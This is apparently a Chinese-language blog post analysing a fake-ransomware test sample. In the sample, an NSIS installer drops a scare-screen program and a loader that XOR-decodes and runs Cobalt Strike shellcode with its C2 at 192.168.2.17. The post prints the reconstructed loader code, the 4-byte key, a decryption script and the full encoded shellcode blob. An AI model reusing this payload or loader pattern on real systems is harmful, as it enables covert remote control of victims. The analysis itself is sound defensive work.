勒索测试样本分析

本文分析了一个基于 NSIS 安装包封装的恶意样本。样本运行后会释放 hack.exe 和 payload.exe 两个核心文件:其中 hack.exe 由 Python 编写并打包成 EXE,主要伪装成系统补丁安装程序,向用户展示虚假的勒索与感染提示信息,但本身并不执行真实的文件加密;payload.exe 则承担真正的恶意逻辑,其内部实现了一个自循环命名管道 IPC 框架,将内嵌数据读取、解码、修补内存权限后通过新线程执行。进一步分析发现,该程序使用 4 字节循环 XOR 还原出一段 ShellCode,最终加载并执行的是 Cobalt Strike 载荷,并与 192.168.2.17 建立通信。

程序母体是一个 Nullsoft Scriptable Install System(3.11) 的安装程序。

image-20260424120503575

解压后内容如下:

image-20260424120630392

程序运行结果:

image-20260424121156275

释放文件主要分为两部分 hack.exe 和 payload.exe,下面分别进行分析。

1、hack.exe 部分

hack.exe 采用 Python 编写并打包成 exe,如下所示。

image-20260424122923284

使用 pyinstxtractor 解析该 exe。

image-20260424141040773

这里直接使用 pycdc 提取脚本会出现不全的情况。

需要手动使用 pycdas 先还原 pyc 为 asm 文件,再根据 asm 文件尝试手动(或借助AI)还原 py 脚本。

或者推荐直接在线还原(https://pychaos.io/)。

image-20260424150950275

伪装成虚假的系统补丁安装程序。

image-20260424151027536

image-20260424151121960

弹出勒索恐吓信息。

image-20260424151236616

image-20260424151318086

该勒索病毒并没有加密文件,只是虚假恐吓,提示局域网文件被感染。

image-20260424151556672

2、payload.exe 部分

payload.exe 主体代码如下:

image-20260424172448152

这段代码的核心是一个并发的 IPC 框架初始化函数。一个线程负责“发”、一个线程负责“等/收/处理”。

跟进 sub_4016E6,第一个线程(发送线程)是创建命名管道(\\\\.\\pipe\\MSSE-%d-server),等待客户端连接,客户端连上后,把 lpBuffer 指向的数据全部写出去,写完关闭句柄。

image-20260424172703915

sub_4016E6 很短,本质是一个线程入口包装器,跟进 sub_401630。

image-20260424172848734

dwOpenMode = 2,即 PIPE_ACCESS_OUTBOUND,说明该管道这一侧是只写的服务端。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __fastcall sub_401630(char *lpBuffer, signed int nNumberOfBytesToWrite)
{
    HANDLE hPipe;
    DWORD NumberOfBytesWritten = 0;

    hPipe = CreateNamedPipeA(
        Buffer,      // "\\\\.\\pipe\\MSSE-%d-server"
        2,           // dwOpenMode 
      					     // 2,表示这个进程是 pipe server,且只负责向客户端写数据。
        0,           // dwPipeMode
      							 // 0,表示默认字节流模式/阻塞模式。
        1,           // nMaxInstances
      							 // 1,一次只允许一个实例。
        0,           // nOutBufferSize
        0,           // nInBufferSize
        0,           // nDefaultTimeOut
        NULL         // lpSecurityAttributes
    );

    if (hPipe is valid) {
        if (ConnectNamedPipe(hPipe, NULL)) {
            while (nNumberOfBytesToWrite > 0 &&
                   WriteFile(hPipe, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, NULL)) {
                lpBuffer += NumberOfBytesWritten;
                nNumberOfBytesToWrite -= NumberOfBytesWritten;
            }
            CloseHandle(hPipe);
        }
    }

    return ...;
}

跟进 sub_4017F8 中的 结尾的 return sub_4017A6,第二个线程(接收+解码+执行线程)会分配接收缓冲区、每 1024ms 尝试一次读取同名 pipe 以确定某个数据源准备好、收到数据后调用处理函数 sub_401595。

image-20260424173908232

跟进 sub_401704,主要功能为作为客户端打开同一 pipe 并读入。当前进程自己连接自己刚建的 pipe,把那段数据完整读回到堆缓冲区。所以这里是 self-pipe/loopback IPC,不是对外通信主用途。

image-20260424175913587

跟进 sub_401595,解码、补丁、改权限、起线程执行。

image-20260424180158507

修正一下 sub_401595。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
HANDLE __fastcall sub_401595(uint8_t *encoded_buf, int payload_size, uint8_t *xor_key)
{
    int i;
    uint8_t *exec_buf;
    DWORD old_protect;

    exec_buf = VirtualAlloc(NULL, (SIZE_T)payload_size, 0x3000, 0x04);

    for (i = 0; i < payload_size; ++i)
        exec_buf[i] = encoded_buf[i] ^ xor_key[i & 3];

    sub_401563((__int64)exec_buf);
    VirtualProtect(exec_buf, (SIZE_T)payload_size, 0x20, &old_protect);
    return CreateThread(NULL, 0, StartAddress, exec_buf, 0, NULL);
}

需要注意的是这里的 key 不是一个字节。跟进传入的 payload_size 与 xor_key。

image-20260424182927434

image-20260424182841859

nNumberOfBytesToWrite dd 37Bh, 84786BC0h含义是两个连续的 DWORD。

1
2
DWORD field_4 = 0x0000037B;
DWORD field_8 = 0x84786BC0;

那么 payload_size 就是 0x37B。0x84786BC0 = xor_key 所在的 4 字节内容,不过要注意的是内存里按小端存放,那么 0x84786BC0 在内存中的 4 个字节就是 C0 6B 78 84

xor_key[i & 3] 说明:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
xor_key[i & 3] 等价于 xor_key[i % 4]

3 的二进制是 0b11
i & 3,就是只取 i 的最低 2 位。
那么,结果只可能是:0, 1, 2, 3

举例,如果 i  0 开始递增:
i   i & 3
0  ->  0
1  ->  1
2  ->  2
3  ->  3
4  ->  0
5  ->  1
6  ->  2
7  ->  3
8  ->  0
  
所以,xor_key[i & 3] 就等价于:
xor_key[0], xor_key[1], xor_key[2], xor_key[3],
xor_key[0], xor_key[1], xor_key[2], xor_key[3], ...
也就是4 字节循环反复使用。
  
也就是:
xor_key[0] = 0xC0
xor_key[1] = 0x6B
xor_key[2] = 0x78
xor_key[3] = 0x84
  
那么循环就是:
encoded_buf[0] ^ 0xC0
encoded_buf[1] ^ 0x6B
encoded_buf[2] ^ 0x78
encoded_buf[3] ^ 0x84
encoded_buf[4] ^ 0xC0
encoded_buf[5] ^ 0x6B
...

可以写个简单的解密脚本。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def xor_decrypt_hex(encoded_hex: str, key_dword: int = 0x84786BC0) -> bytes:
    data = bytes.fromhex(encoded_hex.replace(" ", "").replace("\n", ""))
    key = key_dword.to_bytes(4, "little")  # C0 6B 78 84
    return bytes(b ^ key[i & 3] for i, b in enumerate(data))


encoded_buf = "3C23FB603083B084C06B39D5813B2AD596234956A523F3D6A023F3D6D823F3D6E023F3F6902377338A2135B5092349446C5719F8C24758C501A275C5C1AA9A69922A29CC4B39580F82573085100DF9FCD8607AF1B2E0F80CC06B78CC45AB0CE3886AA8D44B2360C04B2B58CDC1BB9BD28894B1C54B5FF0CCC1BD35B5092349446C2AB94DCD2A7945F88B0D758C6834A0C82E4155B5B320C04B2B5CCDC1BB1EC54B6730C04B2B64CDC1BB390FC4E33085102A20C5983521DE813339DD813130072C4B39D63F8B20C59931300FD282377B3F9425EEC022C6F3A90511EAA51F78C59622F1628CE289C57A270FA2C794ADCCF1A230B5122649448D5AB1C5902A28C57A512EFD6794AD6FB331300D012AC0D4C06B78C9F1A239D5813A1287813A393E97E2E7423FBE93DD9B23F145885AAACD49B335B509391084C22BFCD6922AC26F9545437B1523F14288E8BBD4AA6127CC499A300D1A22BF443F94877B8D5AB1D6922AC2A9C673037B15EEB88B45F67984C023874BCFEFF485C06B9357298F7984C083DA7B3F9457CB95230984381AFBA663A35A796E3EF1F9A647D03532AD4FB125D8738BB51EEDE6BB2A7675C8C260400D690CAE1AA40D4073A5B10539E9F7AD9DC7B242BB331AF6F7D941BDD782AA604BF672429C6B2DF7A51955C5A70E16F0FA4B35EBBA0214E8A1444DAAF04B50E7AF0608E5B4021AE8A55058C993223DA4F94548BFE03C11EAA4040FF7E0252CA4F64549BFE03C11EAF65F43A4B85D4CBFE03F0AEDA40E16F0EF5E56B4FB4B35C5813E43A48E3B48BCE9667284AB0483639D42DBFE46482113F61FA83A5C81CCAA9E8CFFB97CE45936F647B1731357279B32063F8FB33FBF62030F4A583CF92CC664046ECA10081F4834B35C138705FF6C06119C9798ACD428263FB40AED25FFF3972F83A5069800958CD020BFD4B2BBE30398CD95A74985B093621C0C0FF829E8EA590120742FF404DFA0CFEC9DE0BBD6EE1FC45BFCF2BC14BB6D82DDAEA6E0B7077E98FB10C15A98F3437AD69BD371619D038F708F1611FFC1BDEC0D023E828A9342F246F6E9D905F6927A49FF6B48CE60C8DEC7DA6B393A30DEDAD23FBE30B509D17884806B393CC07B788481D23884C06B393E98CF2B613FBE30179338300D2723F17588E2A2C5786B5884C022F17D81D16A124989875188E8BCA445AB0C32A6E07FCCC1A8FD44B5BC20DC98237D84C06B78D40383E7793F9449BDF24549B2F8454AAAF15C78BE1E03C941414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141410000" 
decoded = xor_decrypt_hex(encoded_buf)

with open("restore_shellcode.bin", "wb") as f:
    f.write(decoded)

解密完成后,是一段 CS 的 Shellcode。

image-20260424190047917

当然也可以动态调试到要运行解密 Shellcode 的位置。

image-20260424191615718

如果要跟进分析新线程创建启动的这段 Shellcode 的话,建议直接在 Shellcode 地址处下硬件断点。然后 F9 执行起来,就跳转到 Shellcode 执行部分了,以免 F8 跟进时跟丢。

image-20260424192259188

匹配到的 C2 地址为 192.168.2.17。

image-20260424193743073

该样本应该是一个测试样本,勒索并没有加密文件,只是单纯的恐吓,实际上是利用 CS 远控受害者。

IOC:

image-20260427164121958

如有侵权请及时联系,本文会添加文章访问密码,不再直接公开。

updatedupdated2026-04-272026-04-27